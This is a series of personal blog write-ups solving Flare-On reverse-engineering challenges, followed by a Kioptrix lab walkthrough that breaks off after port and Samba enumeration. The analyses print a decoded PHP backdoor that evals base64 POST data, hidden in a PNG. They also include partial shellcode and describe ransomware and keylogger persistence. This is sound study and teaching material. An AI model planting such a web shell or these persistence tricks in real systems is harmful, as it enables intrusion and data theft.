ctf on Ben's ideas and projects

Flare-on 5 - 1

locutus@the-collective.net (Ben Mason) — Tue, 27 Apr 2021 09:00:00 -0400

This is a post in a series where I complete every Flare-on challenge. The landing page for all of these posts can be found here

Starting off the 5 series of challenges we have a very simple password challenge, when extracting the archive you have one file extracted.

MinesweeperChampionshipRegistration.jar: Java archive data (JAR)

When running the file, you are prompted for an invitation code. I unzipped the jar file finding the metadata and a class file. I ran strings on the class file and was able to see the flag in plain text in the file.

After entering the flag shown in strings into the prompt it is validated!

Flare-on 3 - Challenge 2

locutus@the-collective.net (Ben Mason) — Tue, 20 Apr 2021 09:00:00 -0400

This is a post in a series where I complete every Flare-on challenge. The landing page for all of these posts can be found here

The archive for this challenge included 2 files.

BusinessPapers.doc: data
DudeLocker.exe: PE32 executable (console) Intel 80386, for MS Windows

I first took a look at the .doc file and it looks to be random data.

After doing some initial analysis on the executable file, I found many references to encryption routines in the imports. This program looks to act like ransomware. Diving into the functionality, the program first looks for a directory named “Briefcase.”

If it can not open the directory, it jumps to an error accusing the person of being a reverse engineer!

After it validates, it can open the directory properly; a routine is called checking the drive’s serial number looking for a specific value. If the value doesn’t match, the program errors out. If the hard drive’s serial number matches, it jumps to the routine to decode the encryption key. The drive’s serial number and a pointer, the encoded data stored in the .data section, are passed into the mw_decode_key function.

The mw_decode_key function does what I have named it, it decodes the key used in the data encryption. It uses a simple xor loop to decode the key.

Now that we have the key decoded it is time for the program to set up and execute the encryption routines. As a way to summarize the overall process, I have created the following diagram showing the connections between all of the functions. The boxes colored in blue are handles to data structures and the boxes in green are variables containing a value. The first step in the entire process to set up the Provider which acts as a glue between the key generation functions. From here let us go through each box in numbered order.

Section 1 is used first to create a Hash of the key based on the SHA1 algorithm. Next, it takes this Hash and derives an AES256 key from the Hash and stores it the Key Handle. The key finally has its mode set a CBC cipher.

Section 2 is used to create the IV portion of the key. This is derived from an MD5 hash of the name of the file. This section writes the data to a Hash Handle then copies it out of the handle into the KP_IV parameter of the Key Handle created in section 1.

Finally, in section 3, where files are encrypted, the original file is opened and read into a File Buffer which is then read by the CryptEncrypt function that reads the Key Handle and executes the encryption writing it back to the buffer. The buffer is then written back to the original File Handler, overwriting the data on disk.

After looking over all of this crypto routine and using a debugger to extract both the main AES key and the IV key values, I created a decryption script in python to extract what I had assumed is encrypted data in the BusinessFiles.doc file. The following script uses the wincrypto and cryptodome packages to more or less follow the process I just outlined instead, decrypting the data.

# need wincrypto and cryptodome packages

from Crypto.Cipher import AES
from Crypto.Hash import MD5
from wincrypto import CryptCreateHash, CryptHashData, CryptDeriveKey
from wincrypto.constants import CALG_SHA1, CALG_AES_256
import magic

encryted = 'BusinessPapers.doc'
encypted_data = open(encryted, 'rb').read()

key = b'thosefilesreallytiedthefoldertogether'
md5_clear = bytes(encryted.lower(),"UTF-8")

# Derive Key
sha1_hasher = CryptCreateHash(CALG_SHA1)
CryptHashData(sha1_hasher, key)
d_key = CryptDeriveKey(sha1_hasher, CALG_AES_256)

# Create IV data
iv = MD5.new()
iv.update(md5_clear)

aes = AES.new(d_key.key, AES.MODE_CBC, iv=bytes.fromhex(iv.hexdigest()))
decd = aes.decrypt(encypted_data)

print (decd[:20])
print(magic.from_buffer(decd))

hFireWrite = open("test.bin", 'wb')
hFireWrite.write(decd)
hFireWrite.close()

The output of this script writes the data to disk and provides a preview of the first 20 bytes and the magic block info from the data.

b'\xff\xd8\xff\xe0\x00\x10JFIF\x00\x01\x01\x01\x00H\x00H\x00\x00'
JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=8, manufacturer=Minolta Co., Ltd., model=DiMAGE G500, orientation=upper-left, xresolution=140, yresolution=148, resolutionunit=2], baseline, precision 8, 576x410, components 3

Success we have found the flag!

Post-Script

A funny feature of this challenge is that it leaves a ransom note. The note is an image in the resources section of the file. This image is extracted and written to the disk. Then it set the wallpaper using the SystemParametersInfoW API call.

Flare-On 3 - Challenges 1

locutus@the-collective.net (Ben Mason) — Tue, 23 Mar 2021 09:00:00 -0400

This is a post in a series where I complete every Flare-on challenge. The landing page for all of these posts can be found here

This challenge is like a lot of the first levels is a password challenge decoding challenges. In the next screenshot, you can see what happens when you run the executable.

I opened the binary up in IDA and found the main function. The Main function starts off setting up handles to read input and loading a string from the .rdata section to a local variable.

Taking a look at the string that is loaded, it looks like to be some encoded text. I guess that it is more than likely the password.

Back to the main function, after collecting the inputted password guess from the command line, it takes the inputted string and runs a function to encode it.

Looking at the encoder function I found what looks like a non-standard Base64 character set.

I took the custom Base64, the encoded string I found earlier, and entered them into CyberChef to decode the string. It returns what looks to be the flag.

To be sure I re-ran the challenge and enter the output and bingo it validates the flag!

Flare-on 2 - Challenge 5

locutus@the-collective.net (Ben Mason) — Tue, 02 Mar 2021 09:00:00 -0500

This is a post in a series where I complete every Flare-on challenge. The landing page for all of these posts can be found here

This challenge includes two files, a packet capture formatted in PCAP format and a Windows binary.

Opening up the PCAP in Wireshark, I found multiple HTTP streams submitting POST requests. I looked at each of these POST requests and saw they all have a few bytes of content.

I copied the data from each of these HTTP POST requests and found what looked like a Base64 encoded string.

UDYs1D7bNmdE1o3g5ms1V6RrYCVvODJF1DqxKTxAJ9xuZW=

When I attempted to decode it using standard Base64 character sets I did not find any recognizable data. I knew that it wouldn’t be that easy.

Looking at the strings in the binary, I found two interesting strings, “flarebearstare” which could be a password, and another string that looks like a Base64 alphabet with the uppercase and lower case sections swapped in order.

I following the cross-reference for the “flarebearstare” string, finding a function with a data decoder loop. This function is passed data and loops through each byte, subtracting each character in order of “flarebearstare” from the current byte.

Looking over this functionality, I started to write up some code to decode the flag. I grabbed a Base64 library that needed a small modification to use a custom character set. My fork of the code can be found at this repo.

https://github.com/suidroot/Python-Base64

In the screenshot below, you can see my final script in a Jupyter notebook. As an aside, I have been using it for many challenges and other projects to test out decoder and other functionality. They have been instrumental in quick prototyping and experimentation.

Success there mostly is the flag. You can see there is some weirdness in the decoding of the flag, but this script decodes the main part of it needed in my mind to call it a solution.

Full Code

b64encoded = "UDYs1D7bNmdE1o3g5ms1V6RrYCVvODJF1DqxKTxAJ9xuZW=="
b64_alphabet = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/'

b = b64()
b64decoded = b.decode(b64encoded, alttable=b64_alphabet)

for i in b64decoded:
    print (hex(ord(i)) + " ", end="")

print ()
count = 1

key = "flarebearstare"
key_len = len(key)

output = ""
counter = 0

for i in b64decoded:
    temp = ord(i) - ord(key[counter])
    
    print (chr(temp),end="")

    #print (i, hex(temp), key[counter], chr(temp))
    output += chr(temp)
    
    if counter+1 < key_len:
        counter+=1
    else:
        counter = 0

Flare-on 2 - Challenge 3

locutus@the-collective.net (Ben Mason) — Tue, 23 Feb 2021 09:05:00 -0500

This is a post in a series where I complete every Flare-on challenge. The landing page for all of these posts can be found here

In the third challenge, you are greeted with a nice goat named Elfie that when you are typing characters show up on the screen. As always I start off by checking out what kind of binary I am looking at

λ file elfie
elfie: PE32 executable (console) Intel 80386, for MS Windows

As I said we are greeted by thie goat that eats magic keys

After doing some initial analysis in Ghidra found some strings that indicate that this file might be a python executable.

Additionally, the icon embedded in the binary should have been a giveaway. I guessed it was probably a pyInstaller executable. I ran it through pyinstextractor.py to expand it out and get a copy of the python source to analyze.

C:\Users\IEUser\Desktop
λ pyinstxtractor.py elfie.exe
C:\Tools\pyinstxtractor\pyinstxtractor.py:86: DeprecationWarning: the imp module is deprecated in favour of importlib; see the module's documentation for alternative uses
  import imp
[*] Processing elfie.exe
[*] Pyinstaller version: 2.1+
[*] Python version: 27
[*] Length of package: 12034944 bytes
[*] Found 26 files in CArchive
[*] Beginning extraction...please standby
[!] Warning: The script is running in a different python version than the one used to build the executable
    Run this script in Python27 to prevent extraction errors(if any) during unmarshalling
[*] Found 244 files in PYZ archive
[+] Possible entry point: _pyi_bootstrap
[+] Possible entry point: pyi_carchive
[+] Possible entry point: elfie
[*] Successfully extracted pyinstaller archive: elfie.exe

You can now use a python decompiler on the pyc files within the extracted directory

C:\Users\IEUser\Desktop

I found the file elfie and opened it in VSCode to look at the contents.

it looks to be full of Base64 strings that are concatenated together, decoded, and executed.

I changed the final operation to print the encoded python code for further analysis.

The next layer down looked more like normal python code with obfuscated variable names.

Even looking at the obfuscated code the is pretty obvious but I wanted to clean up some of the variable names to make sure I was not missing anything else.

After reversing the string the flag is revealed

and Elfie is happy!

Flare-on 2 - Challenge 2

locutus@the-collective.net (Ben Mason) — Tue, 16 Feb 2021 09:00:00 -0500

This is a post in a series where I complete every Flare-on challenge. The landing page for all of these posts can be found here

The second challenge from this season built on the first challenge. It was another password entry challenge but with a more complicated password encoding scheme.

First things first I validated what kind of file I was looking at.

λ file very_succes
very_succes: PE32 executable (console) Intel 80386, for MS Windows

When running the file I entered some test data to see how it looked to a user.

I switched back to Ghidra to do some static analysis on this binary and found the area of code that looked to handle the password comparison. The first check that jumped out to me was the length check that checked to see if the password was 37 characters long.

Then I found the encoding and matching bulk of the code which I have commented below. This block of code uses a combination of XOR and Bit-wise shifting of the characters to encode each character of the input to match it against the encoded password.

It took me a little bit to see that the SCASB instruction at 0x4010c8 is used to set the zero flag to 1 if the encoded value does not match and jump to a failure condition. Otherwise is set to 0 for success and continues the loop.

I ran the binary using x64dbg to walk through and monitor execution manually setting the Zero Flag to check how the algorithm operated. I also identified the location of the encoded key stored in EDI and copied out that data in hex.

AFAAADEB AEAAECA4 BAAFAEAA 8AC0A7B0 BC9ABAA5 A5BAAFB8 9DB8F9AE 9DABB4BC B6B3909A A8

As with the first challenge in this season I crudely implemented the encoder in python and using brute force was able to successfully generate the key.

Decoder code

encoded = [0xAF, 0xAA, 0xAD, 0xEB, 0xAE, 0xAA, 0xEC, 0xA4, 0xBA, 0xAF, 0xAE, 0xAA, 0x8A, 0xC0, 0xA7, 0xB0, 0xBC, 0x9A, 0xBA, 0xA5, 0xA5, 0xBA, 0xAF, 0xB8, 0x9D, 0xB8, 0xF9, 0xAE, 0x9D, 0xAB, 0xB4, 0xBC, 0xB6, 0xB3, 0x90, 0x9A, 0xA8]

result_key = ""
    
def xchg(s1, s2):
    temp = s1
    s1 = s2
    s2 = temp
    
    return s1, s2

def decoder(text_data):
    global result_key
   
    success_count = 0
    
    bx = 0
    dx = 0
    key_store = 0 # stack
    cl = 37
    eax = 0x1901c7

    for i in text_data:
        dx = bx
        dx = dx & 0x3
        ah = (eax & 0x0000FF00 > 1)
        al = (eax & 0x000000FF)

        dl = (dx & 0x00FF)
        al = (i ^ al)
        dl, cl = xchg(dl, cl)
        ah, cf = ah << cl, ah & 1
        al = al + ah + cf
        ax = al + (ah*0x100)
        dl, cl = xchg(dl, cl)

        dx = 0
        dl = 0
        ax = ax & 0xff
        output = ax
        bx = bx + (ax & 0xff)

        cl = cl - 0x1
        if encoded[cl] != output:
            pass
        else:
            result_key += chr(i)
            success_count += 1
            
    return success_count

test = [65] * 37

for element in range(len(test)):            
    for i in range(0x21,0x7e):
        test[element] = i

        succ_coun = decoder(test)
        if succ_coun < element+1:
            pass
            result_key = ""

        else:
            print (succ_coun, element, chr(i))
            print("Key:", result_key)
            break
            
print (test)
print ("resultkey: \"" + result_key + "\"")

Flare-on 2 - Challenge 1

locutus@the-collective.net (Ben Mason) — Tue, 09 Feb 2021 09:00:00 -0500

This is a post in a series where I complete every Flare-on challenge. The landing page for all of these posts can be found here

The first challenge in the 2015 season on Flare On was a pretty easy enter the password type of challenge. I started off by opening the extracted file in IDA and running it in the debugger. I stepped to the section of code that evaluates the input versus the input

I extracted the encoded key from memory

Then I re-implemented the XOR encryption in python and generated the key from the data.

Which successfully worked!

Flare-on 1 - Challenge 5 - 5get_it

locutus@the-collective.net (Ben Mason) — Tue, 02 Feb 2021 09:00:00 -0500

This is a post in a series where I complete every Flare-on challenge. The landing page for all of these posts can be found here

Challenge 5 brings us a DLL file, I mainly used Ghidra to statically analyze this file.

5get_it: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

After Ghidra loaded and analyzed the file, I found this function at 0x1000a680 that does a few things, first to Reads and writes the Run key to setup persistence for this DLL file, and it also copies itself to the C:\windows\system32 directory as svchost.dll to look like a legitimate DLL file. Next, it executes a function that looks to act as a key logger.

This function sets up a buffer to store keystrokes into them write them out to a file named svchost.log. Looking at the mw_key_press_handler function we see how it handles the key presses.

This function has various handler function for each ASCII value for most upper case letters, lower case letter, number, and some other characters. However not all have handler functions, so I took a closer look at the functions.

Below are three examples of functions, some of the functions would set a global variable to 1 or 0 depending on if another variable was set, and/or call another function that sets a group of global variables to 0. Not all of the functions returned the same letter that was pressed. As shown below “`” returns the number “0”.

Taking a closer look at the global variables that are manipulated I could see a pattern of them being written or read depending on the keypress handler functions.

Went through the listing of functions and created a list of the key presses and the return values and saw what looks like the key.

Memory Address	Input Char	Output Char
DAT_10019460	L	l
DAT_10019464	`	0
DAT_10019468	G	g
DAT_1001946c	G	g
DAT_10019470	I	i
DAT_10019474	N	n
DAT_10019478	G	g
DAT_1001947c	D	d
DAT_10019480	O	o
DAT_10019484	T	t
DAT_10019488	U	u
DAT_1001948c	R	r
DAT_10019490	D	d
DAT_10019494	O	o
DAT_10019498	T	t
DAT_1001949c	e	5
DAT_100194a0	T	t
DAT_100194a4	R	r
DAT_100194a8	O	0
DAT_100194ac	K	k
DAT_100194b0	E	e
DAT_100194b4	`	5
DAT_100194b8	A	a
DAT_100194bc	T	t
DAT_100194c0	F	f
DAT_100194c4	L	l
DAT_100194c8	A	a
DAT_100194cc	R	r
DAT_100194d0	E	e
DAT_100194d4	D	d
DAT_100194d8	A	a
DAT_100194dc	S	s
DAT_100194e0	H	h
DAT_100194e4	O	o
DAT_100194e8	N	n
DAT_100194ec	D	d
DAT_100194f0	O	o
DAT_100194f4	T	t
DAT_100194f8	C	c
DAT_100194fc	O	o

But this table does not include the letter “m” at the end of “com” the handler for “M” has an extra function that it calls.

This function that the handler calls has a large number of local variables and makes Ghidra very sad, but its main function shows a message box with the flag: l0gging.ur.5trok5@flare-on.com

Flare-on 1 - Challenge 4 - Sploitastic

locutus@the-collective.net (Ben Mason) — Thu, 28 Jan 2021 09:00:00 -0500

This is a post in a series where I complete every Flare-on challenge. The landing page for all of these posts can be found here

We start off with a PDF file in Challenge 4, I start off by dumping the contents of the streams using pdf-parser from Didier Stevens PDF-tools

pdf-parser.py -f APT9001.orig.pdf > apt5.txt

Looking through the content I find a block of Javascript code that looks interesting

After copying it out and some manual de-obfuscation I find a block of what looks to be hex-encoded shellcode. I grabbed a script to decode it into a binary file to run and debug.

from binascii import unhexlify as unhx

#encoded = open('encoded.txt').read() # The shellcode dump
out = open('shellcode.bin', 'wb')

encoded ="%u72f9%u4649%u1525%u7f0d%u3d3c%ue084%ud62a%ue139%ua84a%u76b9%u9824%u7378%u7d71%u757f%u2076%u96d4%uba91%u1970%ub8f9%ue232%u467b%u-SNIP-%u2454%u5740%ud0ff"

for s in encoded.split('%'):
    if len(s) == 5:
        HI_BYTE = s[3:]
        LO_BYTE = s[1:3]
        out.write(unhx(HI_BYTE))
        out.write(unhx(LO_BYTE))
out.close()

I took the binary code and loaded it in BlobRunner and attached x64dbg to it.

The first instruction sets the carry flag to 1, the following instruction JMPs to end the code if the CF flag is set, the JB instruction needs to be patched to a NOP or the CF set to 0 to keep running the code.

The code can be walked through until it loads the flag into the stack around offsec of +0x3c1 and it shows up in the register of ECX.

However, if you run the code until completion it shows up as junk in the message box that is displayed.

To get the flag to show up in the message box you need to NOP the look starting at +0x3ce before the CALL to EAX.

Now the flag shows up in the message box!

Flare-on 1 – Challenge 3 - Shellolololol

locutus@the-collective.net (Ben Mason) — Tue, 26 Jan 2021 09:00:00 -0500

This is a post in a series where I complete every Flare-on challenge. The landing page for all of these posts can be found here

Challenge 3 brings a PE executable file to take a look at.

such_evil: PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows

I loaded the file up in x64dbg and after navigating to the main function it looks to load a whole lot of data onto the stack then CALL into the loaded code.

I continued to step through the program monitoring and watching the memory region pointed to be ESI.

The shell code (not pictured) is decoded and over written in multiple stages leaving these messages at ESI

Finally revealing the flag

There are more elaborate ways to reveal the flag, the official write up uses IDAPython scripting to manually decode the messages.

Flare-on 1 – Challenge 2 - Javascrap

locutus@the-collective.net (Ben Mason) — Thu, 21 Jan 2021 09:00:00 -0500

This is a post in a series where I complete every Flare-on challenge. The landing page for all of these posts can be found here

In Challenge 2 the zip file extracts a html and png file.

From the top of the HTML file to looks pretty normal until you see the PHP tag located near the bottom of the code including the PNG file in the img directory.

The file looks to be a normal PNG file and displays image data when loaded.

At the end of the file, you find some PHP code. I copied out the PHP code and translated it to some python code, it looks to be a decoding routine to generate a payload.

terms=["M", "Z", "]", "p", "\\", "w", "f", "1", "v", "<", "a", "Q", "z", " ", "s", "m", "+", "E", "D", "g", "W", "\"", "q", "y", "T", "V", "n", "S", "X", ")", "9", "C", "P", "r", "&", "\'", "!", "x", "G", ":", "2", "~", "O", "h", "u", "U", "@", ";", "H", "3", "F", "6", "b", "L", ">", "^", ",", ".", "l", "$", "d", "`", "%", "N", "*", "[", "0", "}", "J", "-", "5", "_", "A", "=", "{", "k", "o", "7", "#", "i", "I", "Y", "(", "j", "/", "?", "K", "c", "B", "t", "R", "4", "8", "e", "|"]
order=[59, 71, 73, 13, 35, 10, 20, 81, 76, 10, 28, 63, 12, 1, 28, 11, 76, 68, 50, 30, 11, 24, 7, 63, 45, 20, 23, 68, 87, 42, 24, 60, 87, 63, 18, 58, 87, 63, 18, 58, 87, 63, 83, 43, 87, 93, 18, 90, 38, 28, 18, 19, 66, 28, 18, 17, 37, 63, 58, 37, 91, 63, 83, 43, 87, 42, 24, 60, 87, 93, 18, 87, 66, 28, 48, 19, 66, 63, 50, 37, 91, 63, 17, 1, 87, 93, 18, 45, 66, 28, 48, 19, 40, 11, 25, 5, 70, 63, 7, 37, 91, 63, 12, 1, 87, 93, 18, 81, 37, 28, 48, 19, 12, 63, 25, 37, 91, 63, 83, 63, 87, 93, 18, 87, 23, 28, 18, 75, 49, 28, 48, 19, 49, 0, 50, 37, 91, 63, 18, 50, 87, 42, 18, 90, 87, 93, 18, 81, 40, 28, 48, 19, 40, 11, 7, 5, 70, 63, 7, 37, 91, 63, 12, 68, 87, 93, 18, 81, 7, 28, 48, 19, 66, 63, 50, 5, 40, 63, 25, 37, 91, 63, 24, 63, 87, 63, 12, 68, 87, 0, 24, 17, 37, 28, 18, 17, 37, 0, 50, 5, 40, 42, 50, 5, 49, 42, 25, 5, 91, 63, 50, 5, 70, 42, 25, 37, 91, 63, 75, 1, 87, 93, 18, 1, 17, 80, 58, 66, 3, 86, 27, 88, 77, 80, 38, 25, 40, 81, 20, 5, 76, 81, 15, 50, 12, 1, 24, 81, 66, 28, 40, 90, 58, 81, 40, 30, 75, 1, 27, 19, 75, 28, 7, 88, 32, 45, 7, 90, 52, 80, 58, 5, 70, 63, 7, 5, 66, 42, 25, 37, 91, 0, 12, 50, 87, 63, 83, 43, 87, 93, 18, 90, 38, 28, 48, 19, 7, 63, 50, 5, 37, 0, 24, 1, 87, 0, 24, 72, 66, 28, 48, 19, 40, 0, 25, 5, 37, 0, 24, 1, 87, 93, 18, 11, 66, 28, 18, 87, 70, 28, 48, 19, 7, 63, 50, 5, 37, 0, 18, 1, 87, 42, 24, 60, 87, 0, 24, 17, 91, 28, 18, 75, 49, 28, 18, 45, 12, 28, 48, 19, 40, 0, 7, 5, 37, 0, 24, 90, 87, 93, 18, 81, 37, 28, 48, 19, 49, 0, 50, 5, 40, 63, 25, 5, 91, 63, 50, 5, 37, 0, 18, 68, 87, 93, 18, 1, 18, 28, 48, 19, 40, 0, 25, 5, 37, 0, 24, 90, 87, 0, 24, 72, 37, 28, 48, 19, 66, 63, 50, 5, 40, 63, 25, 37, 91, 63, 24, 63, 87, 63, 12, 68, 87, 0, 24, 17, 37, 28, 48, 19, 40, 90, 25, 37, 91, 63, 18, 90, 87, 93, 18, 90, 38, 28, 18, 19, 66, 28, 18, 75, 70, 28, 48, 19, 40, 90, 58, 37, 91, 63, 75, 11, 79, 28, 27, 75, 3, 42, 23, 88, 30, 35, 47, 59, 71, 71, 73, 35, 68, 38, 63, 8, 1, 38, 45, 30, 81, 15, 50, 12, 1, 24, 81, 66, 28, 40, 90, 58, 81, 40, 30, 75, 1, 27, 19, 75, 28, 23, 75, 77, 1, 28, 1, 43, 52, 31, 19, 75, 81, 40, 30, 75, 1, 27, 75, 77, 35, 47, 59, 71, 71, 71, 73, 21, 4, 37, 51, 40, 4, 7, 91, 7, 4, 37, 77, 49, 4, 7, 91, 70, 4, 37, 49, 51, 4, 51, 91, 4, 37, 70, 6, 4, 7, 91, 91, 4, 37, 51, 70, 4, 7, 91, 49, 4, 37, 51, 6, 4, 7, 91, 91, 4, 37, 51, 70, 21, 47, 93, 8, 10, 58, 82, 59, 71, 71, 71, 82, 59, 71, 71, 29, 29, 47]
do_me=""

for i in range(len(order)):
    do_me+=terms[order[i]]

print (do_me)

This generated payload looks to contain a few base64 encoded strings.

$_= 'aWYoaXNzZXQoJF9QT1NUWyJcOTdcNDlcNDlcNjhceDRGXDg0XDExNlx4NjhcOTdceDc0XHg0NFx4NEZceDU0XHg2QVw5N1x4NzZceDYxXHgzNVx4NjNceDcyXDk3XHg3MFx4NDFcODRceDY2XHg2Q1w5N1x4NzJceDY1XHg0NFw2NVx4NTNcNzJcMTExXDExMFw2OFw3OVw4NFw5OVx4NkZceDZEIl0pKSB7IGV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbIlw5N1w0OVx4MzFcNjhceDRGXHg1NFwxMTZcMTA0XHg2MVwxMTZceDQ0XDc5XHg1NFwxMDZcOTdcMTE4XDk3XDUzXHg2M1wxMTRceDYxXHg3MFw2NVw4NFwxMDJceDZDXHg2MVwxMTRcMTAxXHg0NFw2NVx4NTNcNzJcMTExXHg2RVx4NDRceDRGXDg0XDk5XHg2Rlx4NkQiXSkpOyB9';$__='JGNvZGU9YmFzZTY0X2RlY29kZSgkXyk7ZXZhbCgkY29kZSk7';$___="\x62\141\x73\145\x36\64\x5f\144\x65\143\x6f\144\x65";eval($___($__));

I created the following code to decode the strings

import base64

print('$_ is', base64.b64decode('aWYoaXNzZXQoJF9QT1NUWyJcOTdcNDlcNDlcNjhceDRGXDg0XDExNlx4NjhcOTdceDc0XHg0NFx4NEZceDU0XHg2QVw5N1x4NzZceDYxXHgzNVx4NjNceDcyXDk3XHg3MFx4NDFcODRceDY2XHg2Q1w5N1x4NzJceDY1XHg0NFw2NVx4NTNcNzJcMTExXDExMFw2OFw3OVw4NFw5OVx4NkZceDZEIl0pKSB7IGV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbIlw5N1w0OVx4MzFcNjhceDRGXHg1NFwxMTZcMTA0XHg2MVwxMTZceDQ0XDc5XHg1NFwxMDZcOTdcMTE4XDk3XDUzXHg2M1wxMTRceDYxXHg3MFw2NVw4NFwxMDJceDZDXHg2MVwxMTRcMTAxXHg0NFw2NVx4NTNcNzJcMTExXHg2RVx4NDRceDRGXDg0XDk5XHg2Rlx4NkQiXSkpOyB9'))
print()
print('$__ is', base64.b64decode('JGNvZGU9YmFzZTY0X2RlY29kZSgkXyk7ZXZhbCgkY29kZSk7'))

This code extracts some POST payloads that look to be hex and decimal ASCII codes.

1
2
3

$_ is b'if(isset($_POST["\\97\\49\\49\\68\\x4F\\84\\116\\x68\\97\\x74\\x44\\x4F\\x54\\x6A\\97\\x76\\x61\\x35\\x63\\x72\\97\\x70\\x41\\84\\x66\\x6C\\97\\x72\\x65\\x44\\65\\x53\\72\\111\\110\\68\\79\\84\\99\\x6F\\x6D"])) { eval(base64_decode($_POST["\\97\\49\\x31\\68\\x4F\\x54\\116\\104\\x61\\116\\x44\\79\\x54\\106\\97\\118\\97\\53\\x63\\114\\x61\\x70\\65\\84\\102\\x6C\\x61\\114\\101\\x44\\65\\x53\\72\\111\\x6E\\x44\\x4F\\84\\99\\x6F\\x6D"])); }'

$__ is b'$code=base64_decode($_);eval($code);'

Once more to convert these values to characters we find the flag.

print("_POST = ", end="")
string2=[97, 49, 49, 68, 0x4F, 84, 116, 0x68, 97, 0x74, 0x44, 0x4F, 0x54, 0x6A, 97, 0x76, 0x61, 0x35, 0x63, 0x72, 97, 0x70, 0x41, 84, 0x66, 0x6C, 97, 0x72, 0x65, 0x44, 65, 0x53, 72, 111, 110, 68, 79, 84, 99, 0x6F, 0x6D]

for i in string2:
    print(chr(i), end="")

`1`	`_POST = a11DOTthatDOTjava5crapATflareDASHonDOTcom`

Flare-on 1 - Challenge 1 - Bob Doge

locutus@the-collective.net (Ben Mason) — Mon, 18 Jan 2021 09:00:00 -0500

This is a post in a series where I complete every Flare-on challenge. The landing page for all of these posts can be found here

In the very first challenge you are presented with a windows executable and when you run it you are presented with a Bob Ross painting a nice scene.

But, when you click DECODE! You get a Bob Doge with an weird text string.

Digging a little deeper to see what type of file we have we find we hace a .NET executable.

$ file Challenge1.exe                                                   
Challenge1.exe: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

I next loaded the file up in dnSpy and after navigating from the entry point into Form1. I found the following code block.

The function “btnDecode_Click()” looks very interesting, when stepping into it I find what looks to be a decoding algorithm that pulls its content from the Resources. I set a few breakpoints on the code just after the loops.

After running to the breakpoint after the first loop the flag is in clear text in the “text” variable. The next few loops re-encode the flag to return an obscured output shown in the UI.

CTF Box: Kioptrix level 1 walk-through

locutus@the-collective.net (Ben Mason) — Wed, 26 Feb 2020 09:00:00 -0500

This is a walk-through of the first level of the CTF box series named Kioptrix. The virtual machines images can be downloaded from:

https://www.vulnhub.com/entry/kioptrix-level-1-1,22/

There are two methods I used to exploit this machine, but first, let’s enumerate the server.

Enumeration

To start, I ran a Nmap scan on the server to see what services are running on it.

 # Nmap 7.70 scan initiated Sat Apr 13 14:05:06 2019 as: nmap -O -A -sV -sC -oA nmap/knoptrix1 192.168.56.5
Nmap scan report for 192.168.56.5
Host is up (0.00040s latency).
Not shown: 994 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 2.9p2 (protocol 1.99)
| ssh-hostkey: 
| 1024 b8:74:6c:db:fd:8b:e6:66:e9:2a:2b:df:5e:6f:64:86 (RSA1)
| 1024 8f:8e:5b:81:ed:21:ab:c1:80:e1:57:a3:3c:85:c4:71 (DSA)
|_ 1024 ed:4e:a9:4a:06:14:ff:15:14:ce:da:3a:80:db:e2:81 (RSA)
|_sshv1: Server supports SSHv1
80/tcp open http Apache httpd 1.3.20 ((Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
| http-methods: 
|_ Potentially risky methods: TRACE
|_http-server-header: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
|_http-title: Test Page for the Apache Web Server on Red Hat Linux
111/tcp open rpcbind 2 (RPC #100000)
| rpcinfo: 
| program version port/proto service
| 100000 2 111/tcp rpcbind
| 100000 2 111/udp rpcbind
| 100024 1 1024/tcp status
|_ 100024 1 1024/udp status
139/tcp open netbios-ssn Samba smbd (workgroup: MYGROUP)
443/tcp open ssl/https Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
|_http-server-header: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
|_http-title: 400 Bad Request
|_ssl-date: 2019-04-13T22:05:23+00:00; +3h59m59s from scanner time.
| sslv2: 
| SSLv2 supported
| ciphers: 
| SSL2_RC2_128_CBC_WITH_MD5
| SSL2_RC4_128_EXPORT40_WITH_MD5
| SSL2_DES_192_EDE3_CBC_WITH_MD5
| SSL2_RC4_64_WITH_MD5
| SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
| SSL2_DES_64_CBC_WITH_MD5
|_ SSL2_RC4_128_WITH_MD5
1024/tcp open status 1 (RPC #100024)
MAC Address: 08:00:27:1E:E3:F7 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 2.4.X
OS CPE: cpe:/o:linux:linux_kernel:2.4
OS details: Linux 2.4.9 - 2.4.18 (likely embedded)
Network Distance: 1 hop
Host script results:
|_clock-skew: mean: 3h59m58s, deviation: 0s, median: 3h59m58s
|_nbstat: NetBIOS name: KIOPTRIX, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
|_smb2-time: Protocol negotiation failed (SMB2)
TRACEROUTE
HOP RTT ADDRESS
1 0.40 ms 192.168.56.5
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Apr 13 14:09:34 2019 -- 1 IP address (1 host up) scanned in 267.98 seconds

In the output above you will see there are two interesting services Apache HTTPD 1.3.20 with mod_ssl/2.8.4 OpenSSL/0.9.6b and Samba. The version of HTTPD version is quite old and will be of interest. Next, I’ll take a look at Samba using enum4linux.

Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Sat Apr 13 14:11:01 2019
 ========================== 
| Target Information |
 ========================== 
Target ........... 192.168.56.5
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none
 ==================================================== 
| Enumerating Workgroup/Domain on 192.168.56.5 |
 ==================================================== 
[+] Got domain/workgroup name: MYGROUP
 ============================================ 
| Nbtstat Information for 192.168.56.5 |
 ============================================ 
Looking up status of 192.168.56.5
 KIOPTRIX <00> - B <ACTIVE> Workstation Service
 KIOPTRIX <03> - B <ACTIVE> Messenger Service
